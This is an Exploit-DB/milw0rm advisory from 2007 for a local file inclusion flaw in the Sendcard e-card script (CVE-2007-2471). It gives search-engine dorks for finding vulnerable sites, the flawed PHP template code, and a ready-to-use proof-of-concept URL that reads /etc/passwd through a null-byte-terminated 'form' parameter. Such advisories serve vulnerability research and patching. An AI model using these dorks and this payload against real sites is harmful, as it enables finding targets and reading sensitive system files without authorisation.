Sendcard <= 3.4.1 (sendcard.php form) Local File Inclusion Vulnerability
| EDB-ID: 3827 | CVE: 2007-2471 | OSVDB-ID: 35738 |
| Author: ettee | Published: 2007-05-01 | Verified:  |
Exploit Code:  | Vulnerable App: N/A |
Rating |
| EDB-ID: 3827 | CVE: 2007-2471 | OSVDB-ID: 35738 |
| Author: ettee | Published: 2007-05-01 | Verified: |
| Exploit Code: | Vulnerable App: N/A |
Rating |
Sendcard (sendcard.php) Sendcard Local File Inclusion Vulnerability
Discovered: ettee
Dork: "Powered by sendcard - an advanced PHP e-card program" -site:sendcard.org
"powered by Sendcard"
Bug:
"// Get the template details
if(!isset($form) || $form == ''){
$form = "form";
}
if(!isset($des) || $des == ''){
$des = "card";
}
if (!isset($template) || $template == '') {
$template = 'message';
}"
PoC:
http://[site]/[path]/sendcard.php?form=/etc/passwd%00
# milw0rm.com [2007-05-01]